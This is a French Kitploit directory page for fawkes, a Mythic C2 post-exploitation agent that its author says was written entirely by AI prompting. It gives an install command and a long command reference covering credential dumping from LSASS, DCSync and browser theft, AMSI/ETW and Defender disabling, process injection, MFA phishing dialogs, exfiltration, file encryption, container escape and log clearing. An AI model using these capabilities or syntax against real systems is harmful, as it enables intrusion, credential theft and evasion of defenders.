Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
fawkes — Fawkes est un agent Mythic C2 en golang exclusivement écrit par IA. | Kitploit
Outils/GitHubGitHub/galoryber/fawkes
Outils DéfensifsFrameworks de Tests d'IntrusionEscalade de PrivilègesFrameworks d'ExploitationMouvement LatéralPost-ExploitationSécurité CloudCommandement et ContrôleDéveloppement de Charges UtilesÉvasion de Conteneur
GitHub
356il y a 1 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
galoryber/fawkes

fawkes

Fawkes est un agent Mythic C2 en golang exclusivement écrit par IA.

Voir le dépôt
Partager

Fawkes Mythic C2 Agent

Fawkes est un agent Mythic C2 entièrement vibe-coded. Cela a commencé comme un « je me demande » et est devenu un objectif. Mon objectif est de ne pas écrire une seule ligne de code pour cet agent, mais plutôt de le produire exclusivement à partir d'une invite.

J'ai d'abord tenté d'écrire l'agent moi-même, mais après avoir cloné le conteneur d'exemple, lu la documentation de Mythic, regardé les vidéos YouTube de la série de développement et copié du code d'autres agents comme Merlin ou Freyja, j'ai décidé que je n'avais tout simplement pas le temps de développer mon propre agent. Mais pour une invite, j'ai le temps.

Fawkes est un agent basé sur Golang avec des capacités multiplateformes. Il prend en charge Windows (exécutables EXE, DLL et payloads shellcode), Linux (binaires ELF et bibliothèques partagées), et macOS (binaires Mach-O pour Intel et Apple Silicon). 213 commandes au total : 113 multiplateformes, 82 uniquement Windows, 21 uniquement Unix, 11 uniquement Linux, et 6 uniquement macOS (certaines commandes ont des implémentations spécifiques à la plateforme partageant un même nom visible par l'utilisateur, par ex. screenshot). Prend en charge la sortie HTTP et les liaisons peer-to-peer (P2P) TCP pour le pivotement interne.

Installation

Pour installer Fawkes, vous aurez besoin de Mythic installé sur un ordinateur distant. Vous trouverez les instructions d'installation pour Mythic sur la page du projet Mythic.

Depuis le répertoire d'installation de Mythic :``` ./mythic-cli install github https://github.com/galoryber/fawkes

root@kitploit:~
## Référence rapide des commandesCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Lire/modifier les DACL d'objets Active Directory (ajouter/supprimer des ACE, accorder DCSync, GenericAll, sauvegarde/restauration). Multi-plateforme (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Énumérer les services de certificats AD, trouver les modèles vulnérables (ESC1-ESC4, ESC6 via DCOM), demander des certificats via DCOM pour l'exploitation ESC1/ESC6, ou auto-exploitation (trouver → analyser → chaîne de demande). Multi-plateforme (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windows uniquement)** Gérer les flux de données alternatifs NTFS — écrire, lire, lister ou supprimer des flux de données cachés. Prend en charge le texte et le binaire encodé en hexadécimal. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Interroger et nettoyer les artefacts d'exécution judiciaire. Windows : Shimcache. Linux : recently-used.xbel, thumbnails, Tracker. macOS : recent items, KnowledgeC, quarantine (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windows uniquement)** Injection de processus distant. `-method apc` (défaut) place le shellcode via NtQueueApcThread dans un thread alertable (utilisez `ts` pour en trouver un). `-method hwbp` s'attache via DebugActiveProcess, définit un point d'arrêt matériel DR0 sur une API cible (défaut `ntdll!NtDelayExecution`), et redirige Rip vers le shellcode lorsque le point d'arrêt se déclenche — pas de TID requis, pas de file APC, pas de CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Enregistrer l'audio du microphone et télécharger le fichier WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multi-plateforme (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windows uniquement)** Interroger et modifier les politiques d'audit Windows. Désactiver la journalisation des événements de sécurité avant les opérations sensibles. Le mode furtif désactive les sous-catégories critiques pour la détection. Utilise l'API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windows uniquement)** Exécuter une commande avec des arguments de processus usurpés. Contre Sysmon Event ID 1 et la télémétrie de ligne de commande des EDR (T1564.010).
arp | `arp [-ip <subnet>]` ou `arp -action spoof -target <IP> -gateway <IP>` | Afficher la table ARP avec filtrage, ou empoisonnement du cache ARP pour un positionnement MITM (T1557.002). Spoof : Linux uniquement, restaure lors du nettoyage.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Demander des tickets AS-REP pour les comptes sans pré-authentification et extraire les hachages au format hashcat pour craquage hors ligne. Auto-énumération via LDAP. Multi-plateforme (T1558.004).
av-detect | `av-detect [-deep true]` | Détecter les produits AV/EDR/sécurité installés en analysant les processus en cours d'exécution avec une base de signatures de 130+ entrées. Avec `--deep`, vérifie également les modules du noyau, les unités systemd et les répertoires de configuration pour les produits installés mais non exécutés (Linux). Signale le produit, le fournisseur, le type et le PID. Multi-plateforme.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windows uniquement)** Patcher automatiquement une fonction en sautant vers le retour (C3) le plus proche. Utile pour les contournements d'AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Boîte à outils d'encodage de données : base64, XOR (avec clé chaîne/hex), hex, ROT13, encodage URL, chiffrement César. Tous prennent en charge les E/S fichiers. Multi-plateforme (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windows uniquement)** Gérer les travaux de transfert BITS pour la persistance et le téléchargement furtif de fichiers. Créer, suspendre, reprendre, terminer des travaux et définir des commandes de notification pour la persistance. Les travaux survivent aux redémarrages (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Récolter les données du navigateur depuis Chromium, Firefox et Safari. Historique, autocomplétion, favoris, téléchargements multi-plateforme. Mots de passe : Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (déchiffrement NSS key4.db), Safari (macOS Keychain). Cookies Firefox sur toutes les plateformes. MITRE T1555.003, T1217.
cat | `cat <file>` ou `cat -path <file> -start N -end N -number true` | Afficher le contenu d'un fichier avec plage de lignes optionnelle, numérotation et protection de taille de 5 Mo.
cd | `cd <directory>` | Changer le répertoire de travail actuel.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modifier les permissions d'un fichier/répertoire avec notation octale (755, 644) ou symbolique (+x, u+rw, go-w). Support récursif. Multi-plateforme (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Linux/macOS uniquement)** Changer le propriétaire d'un fichier/répertoire par nom d'utilisateur/UID et groupe/GID. Support récursif (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Inspecter les certificats TLS sur les hôtes distants — identifier les CA, les certificats auto-signés, l'expiration, les SAN, la version TLS, les suites de chiffrement et les empreintes SHA256. Multi-plateforme (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windows uniquement)** Énumérer les magasins de certificats Windows pour trouver des certificats de signature de code, des certificats d'authentification client et des clés privées. Recherche CurrentUser et LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Lire/écrire le presse-papiers ou surveiller en continu les modifications avec détection de motifs d'identifiants. Multi-plateforme (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Métadonnées cloud, extraction d'identifiants, énumération IAM, énumération de stockage, persistance et accès aux magasins de secrets. storage/aws-s3/azure-blob/gcp-gcs : énumérer les buckets/conteneurs avec des exemples d'objets. aws-ssm : Parameter Store SSM avec déchiffrement. azure-keyvault : secrets Key Vault via identité gérée. gcp-secrets : Secret Manager via compte de service. aws-persist/azure-persist : créer des clés d'accès/d'inscriptions d'application de longue durée. Détection automatique. IMDSv2. Multi-plateforme (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Créer, lister, extraire, mettre en scène ou exfiltrer des archives. Stage chiffre avec AES-256-GCM. Exfil transfère vers Mythic. exfil-https : téléchargement vers des URL présignées S3/Azure/GCS avec téléchargement par morceaux, en-têtes personnalisés, gigue. exfil-github : exfiltration via l'API GitHub Contents. Multi-plateforme (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coercition d'authentification NTLM via MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Force la cible à s'authentifier auprès de l'écouteur de l'attaquant. Support Pass-the-Hash. Multi-plateforme (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Afficher ou modifier la configuration d'exécution de l'agent, ou mettre à jour le binaire de l'agent. `show`/`set` : sleep, jitter, kill date, heures de travail. `update` : télécharger une nouvelle charge utile depuis Mythic, vérifier, lancer et quitter l'agent actuel. Multi-plateforme (T1105).
container-detect | `container-detect` | Détecter l'environnement d'exécution de conteneur (Docker, K8s, LXC, Podman, WSL). Vérifie les vecteurs d'évasion comme les sockets Docker et les comptes de service K8s. Multi-plateforme (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Linux uniquement)** Évasion de conteneur + opérations K8s — socket Docker, cgroup, nsenter, montage de périphérique hôte. K8s : énumérer les pods/services, lire les secrets, **k8s-rbac** : balayage ClusterRole/RoleBinding + notation des chemins d'élévation de privilèges (critique/avertissement/info), **k8s-nodes** : surface d'attaque des nœuds du cluster (kubelet/OS/noyau/CIDR/taints/rôles), **k8s-etcd** : découvrir les points de terminaison clients etcd à partir des arguments de pod du plan de contrôle + sonde non authentifiée `/version` par point de terminaison (lecture non authentifiée = compromission totale du cluster), déployer/exécuter des pods via l'API. **Hors cluster** : `-kubeconfig` accepte les fichiers kubeconfig volés pour l'accès K8s depuis des hôtes non-conteneurs (authentification par jeton + certificat client) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copier un fichier de la source vers la destination.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Tester les identifiants contre SMB, WinRM et LDAP sur les hôtes cibles. `verify-all` teste tous les identifiants du coffre contre les hôtes découverts en parallèle. Multi-plateforme (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Récolter les identifiants : hachages shadow (Unix), configurations cloud (AWS/GCP/Azure/K8s), secrets d'application, analyse de l'historique du shell pour les mots de passe/ jetons/clés API divulgués, historique PowerShell + variables d'environnement + RDP (Windows), jetons OAuth/JWT M365 depuis TokenBroker/Teams/Outlook (Windows), **browser-live** : voler les cookies actifs, localStorage, sessionStorage via le protocole Chrome DevTools (CDP) depuis Chrome/Edge en cours d'exécution. **dump-all** : chaîne de sous-tâches automatisée — exécute hashdump + lsa-secrets + cred-harvest tout en parallèle (Windows). Multi-plateforme (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Afficher une boîte de dialogue d'identifiants native, abuser du flux de code d'appareil OAuth, ou hameçonner des codes MFA. dialog : AppleScript macOS, CredUI Windows, zenity/kdialog Linux. device-code : flux de code d'appareil OAuth Azure AD pour la capture de jetons. mfa-phish : fausse boîte de dialogue de vérification MFA pour capturer les codes TOTP. Multi-plateforme (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Requêtes HTTP + téléchargement de fichier pour exfiltration (T1567). Téléchargement vers des URL présignées S3, SAS Azure, points de terminaison génériques. Multi-plateforme (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Extraire des champs ou des plages de caractères des lignes d'un fichier. Délimiteurs personnalisés, spécifications de plage. Multi-plateforme (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Énumérer les magasins d'identifiants de la plateforme. Windows : Credential Manager + Vault (CredEnumerateW, vaultcli.dll). Linux : GNOME Keyring (secret-tool), KDE KWallet, mots de passe WiFi/VPN NetworkManager, GNOME Online Accounts. macOS : éléments du trousseau (mots de passe génériques + Internet), mots de passe WiFi. `list` = métadonnées, `dump` = avec secrets, `vault` = Windows uniquement. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Windows uniquement)** Gérer Defender — statut, exclusions, menaces, activer/désactiver la protection en temps réel. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Windows uniquement)** Déchiffrement de blob DPAPI (CryptUnprotectData), énumération de clés maîtresses, extraction de clé de chiffrement Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Windows uniquement)** Accéder à la boîte aux lettres Outlook via COM. Compter les messages, rechercher par mot-clé, lire par index, lister les dossiers. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Windows uniquement)** Exécuter des commandes, télécharger des fichiers, ou mettre en scène et exécuter sur des hôtes distants via DCOM. `check` valide les prérequis RPC/DCOM. upload : transférer des fichiers via certutil/PowerShell staging. exec-staged : télécharger puis exécuter avec nettoyage automatique. Six objets COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Détecter les débogueurs attachés, outils d'analyse et instrumentation. Windows : IsDebuggerPresent, NtQueryInformationProcess, PEB, registres DR. Linux : TracerPid, LD_PRELOAD, cartes mémoire (Frida/Valgrind/sanitizers), VM/sandbox, surveillance eBPF (Falco/Tetragon/Tracee), framework auditd, portée ptrace. macOS : sysctl P_TRACED, DYLD_INSERT_LIBRARIES, détection VM (sysctl), produits de sécurité (EDR/AV), sandbox/env d'analyse. Tous : analyse des processus de débogage (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — répliquer les identifiants AD via DRS sans toucher à LSASS. `domain-takeover` exécute kerberoast + asrep-roast + dcsync krbtgt/Administrator en parallèle. Multi-plateforme (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Rapporter l'utilisation de l'espace disque du système de fichiers avec filtrage optionnel par périphérique, point de montage ou type de système de fichiers. Multi-plateforme (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Comparer deux fichiers et afficher les différences au format diff unifié. Algorithme basé sur LCS avec lignes de contexte configurables. Multi-plateforme (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Énumération DNS — résoudre des hôtes, interroger des enregistrements, découvrir des DC, transferts de zone, détection de joker, résolution furtive DNS-over-HTTPS, exfiltration DNS. Multi-plateforme (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Rapporter l'utilisation du disque pour les fichiers et répertoires. Décomposition de la taille par sous-répertoire, trié par plus grand. Multi-plateforme (T1083).
drivers | `drivers [-filter <name>]` | Énumérer les pilotes/modules du noyau chargés. Windows : EnumDeviceDrivers, Linux : /proc/modules, macOS : énumération kext. Multi-plateforme (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Politique de mot de passe/verrouillage AD et énumération FGPP via LDAP. Recommandations sans risque de pulvérisation. Multi-plateforme (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Linux/macOS uniquement)** Lister, ajouter ou supprimer des tâches cron pour la persistance. Prend en charge les entrées cron brutes ou la syntaxe programme+planification.
download | `download <path>` ou `download {"path": "/file", "compress": true}` | Télécharger un fichier ou un répertoire depuis la cible. Les fichiers >1 Mo sont automatiquement compressés avec gzip (configurable). Les répertoires sont automatiquement zippés. Vérification de hachage SHA256. Transfert par morceaux, intégration du navigateur de fichiers.
drives | `drives` | Lister les lecteurs/volumes disponibles et les systèmes de fichiers montés avec le type, l'étiquette/périphérique et l'espace libre/total.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Windows uniquement)** Énumérer les jetons d'accès dans tous les processus. `list` montre PID/utilisateur/intégrité/session pour chaque processus. `unique` regroupe par utilisateur avec le nombre de processus. Active automatiquement SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Chiffrement/déchiffrement AES-256-GCM (T1486) + corruption ciblée de fichiers (T1565). corrupt : écraser les en-têtes de fichier avec des données aléatoires. Des gardes de sécurité sont requises pour les opérations destructrices.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Lister, obtenir, définir ou annuler des variables d'environnement pour le processus de l'agent. Les modifications sont héritées par les processus enfants. Multi-plateforme.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Analyser les variables d'environnement des processus pour les identifiants divulgués, clés API et secrets. 35+ motifs de détection dans les catégories cloud, base de données, CI/CD et crypto. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipulation du sous-système d'audit/télémétrie. Windows : arrêter/blinder/blind-all/activer/patcher/restaurer les sessions/fournisseurs ETW. Linux : règles auditd, journald clear/rotate, configuration syslog, détection d'agent SIEM. macOS : journalisation unifiée, détection d'agent de sécurité. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gérer les journaux d'événements système. Windows : canaux wevtapi.dll. Linux : unités journald et fichiers syslog. macOS : sous-systèmes/processus de journalisation unifiée (os_log). Lister les sources, interroger les événements, effacer/vider les journaux, obtenir des informations. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Exécuter un binaire natif depuis la mémoire. Linux : memfd_create (pas d'écriture disque). macOS : fichier temporaire avec signature ad-hoc. Windows : fichier temporaire avec nettoyage immédiat. Toutes les plateformes suppriment les artefacts après exécution. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Exécuter du shellcode dans le processus actuel. Prend en charge le shellcode encodé XOR/AES-256-CTR avec déchiffrement à l'exécution (T1027). Windows : VirtualAlloc + CreateThread. Linux : mmap (défaut) ou memfd_create. macOS : MAP_JIT (ARM64) ou mmap. Multi-plateforme (T1059.006, T1620).
exit | `exit` | Tâche de sortie de l'agent.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Obtenir ou définir les attributs de fichier — caché, lecture seule, système (Windows) ; immuable, ajout, nodump (Linux) ; caché, immuable (macOS). Omettre -attrs pour voir les indicateurs actuels. Multi-plateforme (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identifier les types de fichiers par octets magiques (35+ signatures). Un seul fichier ou balayage de répertoire. Détecte les exécutables, archives, documents, images, bases de données, médias et plus. Multi-plateforme (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Rechercher des fichiers par nom, taille, date, permissions ou propriétaire. Trouver les binaires SUID, les fichiers inscriptibles par tout le monde, les fichiers appartenant à des utilisateurs spécifiques. Multi-plateforme (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Balayer les hôtes pour découvrir où les identifiants ont un accès administrateur via SMB (partage C$) et/ou WinRM. **auto-move** : chaîne de sous-tâches automatisée — trouver les hôtes administrateurs puis se déplacer latéralement vers chacun via psexec/wmi. Prend en charge CIDR, plages IP, PTH, analyse parallèle (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gérer les règles de pare-feu. Windows : API COM. macOS : ALF + règles pf ancrées. Linux : iptables/nftables (détection automatique). Support d'ancrage PF pour le filtrage de paquets macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Lister les privilèges/capacités. Windows : privilèges de jeton avec activation/désactivation/suppression. Linux : capacités de processus (CapEff/CapPrm) + contexte SELinux/AppArmor. macOS : droits, sandbox, groupes (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Élévation de privilège. Windows : SYSTEM via vol de jeton ou DCOM potato. Linux : vérifier les vecteurs d'élévation (SUID, sudo, capacités, docker) ou tenter l'élévation sudo. macOS : vérifier les vecteurs, sudo, ou invite administrateur osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Rechercher dans SYSVOL les fichiers XML GPP avec des attributs cpassword chiffrés et les déchiffrer en utilisant la clé AES publiée (MS14-025). Multi-plateforme via SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Énumérer les objets de stratégie de groupe via LDAP — lister les GPO, cartographier les liens avec application, trouver les paramètres CSE intéressants. Multi-plateforme (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Rechercher le contenu de fichiers avec des motifs regex. Recherche récursive de répertoire avec filtrage d'extension, lignes de contexte et saut des fichiers binaires. Multi-plateforme (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calculer les hachages de fichiers (MD5, SHA-1, SHA-256, SHA-512). Fichiers uniques ou répertoires avec filtrage par motif glob et contrôle de profondeur. Multi-plateforme (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Afficher le contenu d'un fichier au format hexadécimal+ASCII style xxd. Contrôle du décalage/longueur pour examiner des régions spécifiques, max 4096 octets. Multi-plateforme (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Énumérer les handles/descripteurs de fichier ouverts dans un processus. Windows : NtQuerySystemInformation. Linux : /proc/pid/fd. macOS : lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Extraire les hachages de mot de passe des comptes locaux. Windows : hachages NTLM de la ruche SAM (nécessite SYSTEM) ; **insitu** : énumérer les sessions d'ouverture de session actives via les API LSA in-process (nécessite admin) ; **insitu-full** : ouvrir lsass.exe avec PROCESS_VM_READ, sigscan lsasrv.dll pour LogonSessionList, parcourir la liste chaînée, superposer la disposition KIWI_MSV1_0_LIST_63 sur chaque nœud pour extraire LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, parcourir la chaîne d'identifiants par AuthPackage à credentials_ptr pour capturer chaque enveloppe KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, sigscan LsaInitializeProtectedMemory_Internal pour récupérer les globaux de clé BCrypt IV / h3DesKey / hAesKey plus les octets bruts de clé 16-octets IV / 24-octets 3DES / 32-octets AES, déchiffrer AES-256-CFB / 3DES-CBC chaque blob chiffré capturé (sélectionné par blob selon `len % 8`), et superposer la disposition KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW pour extraire les hachages NT/LM/SHA — émis au format `username:rid:lm:nt:::` compatible avec le hook ProcessResponse du coffre d'identifiants dump-action (Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, nécessite admin). Linux : hachages /etc/shadow avec identification du type de hachage (nécessite root). macOS : hachages PBKDF2 des services d'annuaire à partir des plists utilisateur (nécessite root). **auto-spray** : extraire les hachages puis les pulvériser automatiquement via cred-check contre les hôtes cibles. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Lister ou effacer les fichiers d'historique de commandes shell/application. Couvre bash, zsh, fish, PowerShell, python, mysql et plus. Multi-plateforme (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Évidement de processus — créer un processus suspendu, écrire le shellcode, rediriger l'exécution. **Windows :** CREATE_SUSPENDED + SetThreadContext, usurpation PPID, blocage DLL, décoration PEB (masquage ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64) :** PTRACE_TRACEME + écriture /proc/mem. **macOS :** ptrace + API Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — nécessite root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Énumérer les configurations IDE — extensions VS Code, hôtes SSH distants, projets récents, paramètres avec secrets. Sources de données JetBrains, serveurs de déploiement, projets récents. Multi-plateforme (T1005, T1083).
ifconfig | `ifconfig` | Lister les interfaces réseau avec adresses, MAC, MTU et indicateurs. Multi-plateforme (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Windows uniquement)** Exécuter un assembly .NET en mémoire en utilisant le CLR. Prend en charge les arguments de ligne de commande. Utilisez `start-clr` d'abord pour le flux de travail de correction AMSI.
inline-execute | `inline-execute` | **(Windows uniquement)** Exécuter un fichier d'objet de balise (BOF/COFF) en mémoire. Prend en charge tous les types d'arguments : chaînes (z), chaînes larges (Z), entiers (i), courts (s) et binaires (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Windows uniquement)** Charger un PE natif (DLL) depuis la mémoire dans le processus actuel. Mappage PE manuel avec copie de section, corrections de relocalisation, résolution d'importations et invocation de DllMain. Appelle éventuellement des fonctions exportées (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Linux uniquement)** Énumération et gestion du pare-feu Linux via iptables/nftables/ufw. IP forwarding, suivi de connexion, listage et modification de règles. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Arrêter une tâche en cours par son ID. Utilisez `jobs` pour lister les tâches en cours. Multi-plateforme.
jobs | `jobs` | Lister les tâches actuellement en cours avec l'ID de tâche, le nom de la commande et la durée. Multi-plateforme.
jxa | `jxa -code '<script>' [-timeout 60]` ou `jxa -file /path/to/script.js` | **(macOS uniquement)** Exécuter des scripts JavaScript for Automation (JXA) avec accès au pont ObjC vers les frameworks Foundation, AppKit, Security. Prend en charge le code en ligne et l'entrée fichier (T1059.007).
